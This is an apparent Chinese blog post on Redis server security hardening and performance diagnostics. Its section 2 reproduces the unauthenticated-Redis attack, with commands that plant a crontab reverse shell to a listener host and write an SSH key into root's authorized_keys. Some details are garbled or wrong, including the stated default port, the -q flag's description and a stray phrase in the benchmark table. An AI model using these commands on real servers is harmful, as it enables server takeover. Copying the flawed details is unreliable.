前言
最近处理了几起redis不安全的阿里云服务器,总结下一些建议
1、安全建议
1.1、设置bind
默认bind 0.0.0.0是默认值,相当于不设防
1
2
3
|
bind 0.0.0.0
建议修改成链接端的IP,比如
bind 192.168.100.101
|
1.2、设置auth
默认是不设置密码,相当于不需要密码和鉴权就可以访问
1
2
3
|
requirepass foobared
建议开启密码访问,并且不能设置弱口令密码,比如
requirepass Admin9527#&@ekd452
|
1.3、设置port
默认是6937,容易被扫描到
1
2
3
|
port 6379
建议修改默认端口,比如
port 36379
|
1.4、设置config
检查config这2个文件设置的值是否自己设置的值
1
2
3
4
5
6
|
192.168.210.142:36379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.210.142:36379> config get dir
1) "dir"
2) "./"
|
1.5、【可选】设置rename-command
把危险命令重命名,增加一些难度,作为可选方式
1
2
3
4
|
rename-command KEYS "kk"
rename-command FLUSHALL "ff"
rename-command SHUTDOWN "ss"
rename-command CONFIG "cc"
|
2、漏洞复现
2.1 利用crontab反弹shell
登录redis设置
1
2
3
4
5
6
7
8
|
#redis-cli -h 10.1.1.2 -a 123456 //如果没有密码,不用添加-a参数
10.1.1.2:6379> config set dir /var/spool/cron
OK
10.1.1.2:6379> config set dbfilename root
OK
10.1.1.2:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
10.1.1.2:6379>save
OK
|
不登录redis设置
1
2
3
4
|
#echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -a 123456 -x set 1
#redis-cli -h 192.168.118.129 -a 123456 config set dir /var/spool/cron/
#redis-cli -h 192.168.118.129 -a 123456 config set dbfilename root
#redis-cli -h 192.168.118.129 -a 123456 save
|
在 10.1.1.1上执行
1
|
#nc -l -p 1234 -vv //监听1234端口
|
2.2 利用写authorized_keys实现无密码登录
1
2
3
4
5
6
7
8
9
10
|
127.0.0.1:6379>flushall
OK
127.0.0.1:6379>config set dir /root/.ssh/
OK
127.0.0.1:6379>config set dbfilename authorized_keys
OK
127.0.0.1:6379>set xxoo "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxna91qSLsy9sbYSZNYMpe0root@localhost.localdomain\n\n"
OK
127.0.0.1:6379>save
OK
|
然后ssh方式就可以登录这台服务器了
3、性能分析
3.1 测试最大响应延迟
1
2
3
4
5
6
7
8
9
10
11
12
|
$ redis-cli -h 127.0.0.1 -p 6379 --intrinsic-latency 60
Max latency so far: 1 microseconds.
Max latency so far: 15 microseconds.
Max latency so far: 17 microseconds.
Max latency so far: 18 microseconds.
Max latency so far: 31 microseconds.
Max latency so far: 32 microseconds.
Max latency so far: 59 microseconds.
Max latency so far: 72 microseconds.
1428669267 total runs (avg latency: 0.0420 microseconds / 42.00 nanoseconds per run).
Worst run took 1429x longer than the average latency.
|
从输出结果可以看到,这60秒内的最大响应延迟为72微秒(0.072毫秒)。
3.2 查看一段时间内最小、最大、平均访问延迟
1
2
3
4
5
6
7
8
|
$ redis-cli -h 127.0.0.1 -p 6379 --latency-history -i 1
min: 0, max: 1, avg: 0.13 (100 samples) -- 1.01 seconds range
min: 0, max: 1, avg: 0.12 (99 samples) -- 1.01 seconds range
min: 0, max: 1, avg: 0.13 (99 samples) -- 1.01 seconds range
min: 0, max: 1, avg: 0.10 (99 samples) -- 1.01 seconds range
min: 0, max: 1, avg: 0.13 (98 samples) -- 1.00 seconds range
min: 0, max: 1, avg: 0.08 (99 samples) -- 1.01 seconds range
...
|
从输出结果看,每间隔1秒,采样Redis的平均操作耗时,其结果分布在0.08 ~ 0.13毫秒之间。
3.3 性能测试
redis性能测试命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
redis-benchmark -h 127.0.0.1 -p 6379 -c 50 -n 10000 -q
PING_INLINE: 63291.14 requests per second
PING_BULK: 62500.00 requests per second
SET: 49261.09 requests per second
GET: 47619.05 requests per second
INCR: 42194.09 requests per second
LPUSH: 61349.69 requests per second
RPUSH: 56818.18 requests per second
LPOP: 47619.05 requests per second
RPOP: 45045.04 requests per second
SADD: 46296.30 requests per second
SPOP: 59523.81 requests per second
LPUSH (needed to benchmark LRANGE): 56818.18 requests per second
LRANGE_100 (first 100 elements): 32362.46 requests per second
LRANGE_300 (first 300 elements): 13315.58 requests per second
LRANGE_500 (first 450 elements): 10438.41 requests per second
LRANGE_600 (first 600 elements): 8591.07 requests per second
MSET (10 keys): 55248.62 requests per second
|
说明:50个连接,10000次请求对应的性能
参数:
参数 |
描述 |
默认值 |
-h |
<hostname>,服务url |
127.0.0.1 |
-p |
<port>, 服务端口 |
6379 |
-s |
<socket>,服务 socket,覆盖host和port |
- |
-a |
<password>,密码 |
- |
-c |
<clients>,并发连接数 |
50 |
-n |
<requests>,指定请求数 |
10000 |
-d |
<size>,椅子姐的姓氏设定SET/GET值的数据大小 |
3 |
–dbnum |
<db>,数据库分片 |
0 |
-k |
<boolean>,1=keep alive, 0=reconnect |
1 |
-r |
<keyspacelen>,SET/GET/INCR 使用随机 key,SADD 使用随机值 |
|
-P |
通过管道传输<numreq>请求 |
- |
-q |
强制退出 redis,仅显示 query/sec 值 |
- |
–csv |
以 CSV 格式输出 |
- |
-l |
生成循环,用久执行测试 |
- |
-t |
<tests>,仅运行以都好分割的测试命令列表 |
- |
-I |
Idle 模式,仅打开 N 个 idle连接并等待 |
- |
3.4 查看慢日志
查看Redis慢日志之前,你需要设置慢日志的阈值。例如,设置慢日志的阈值为5毫秒,并且保留最近500条慢日志记录:
1
2
3
4
|
# 命令执行耗时超过 5 毫秒,记录慢日志
CONFIG SET slowlog-log-slower-than 5000
# 只保留最近 500 条慢日志
CONFIG SET slowlog-max-len 500
|
设置完成之后,所有执行的命令如果操作耗时超过了5毫秒,都会被Redis记录下来。
此时,你可以执行以下命令,就可以查询到最近记录的慢日志:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
127.0.0.1:6379> SLOWLOG get 5
1) 1) (integer) 32693 # 慢日志ID
2) (integer) 1593763337 # 执行时间戳
3) (integer) 5299 # 执行耗时(微秒)
4) 1) "LRANGE" # 具体执行的命令和参数
2) "user_list:2000"
3) "0"
4) "-1"
2) 1) (integer) 32692
2) (integer) 1593763337
3) (integer) 5044
4) 1) "GET"
2) "user_info:1000"
...
|
通过查看慢日志,我们就可以知道在什么时间点,执行了哪些命令比较耗时。
3.5 查看bigkey
Redis提供了扫描bigkey的命令,执行以下命令就可以扫描出,一个实例中bigkey的分布情况,输出结果是以类型维度展示的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$ redis-cli -h 127.0.0.1 -p 6379 --bigkeys -i 0.01
...
-------- summary -------
Sampled 829675 keys in the keyspace!
Total key length in bytes is 10059825 (avg len 12.13)
Biggest string found 'key:291880' has 10 bytes
Biggest list found 'mylist:004' has 40 items
Biggest set found 'myset:2386' has 38 members
Biggest hash found 'myhash:3574' has 37 fields
Biggest zset found 'myzset:2704' has 42 members
36313 strings with 363130 bytes (04.38% of keys, avg size 10.00)
787393 lists with 896540 items (94.90% of keys, avg size 1.14)
1994 sets with 40052 members (00.24% of keys, avg size 20.09)
1990 hashs with 39632 fields (00.24% of keys, avg size 19.92)
1985 zsets with 39750 members (00.24% of keys, avg size 20.03)
|
从输出结果我们可以很清晰地看到,每种数据类型所占用的最大内存 / 拥有最多元素的key是哪一个,以及每种数据类型在整个实例中的占比和平均大小 / 元素数量。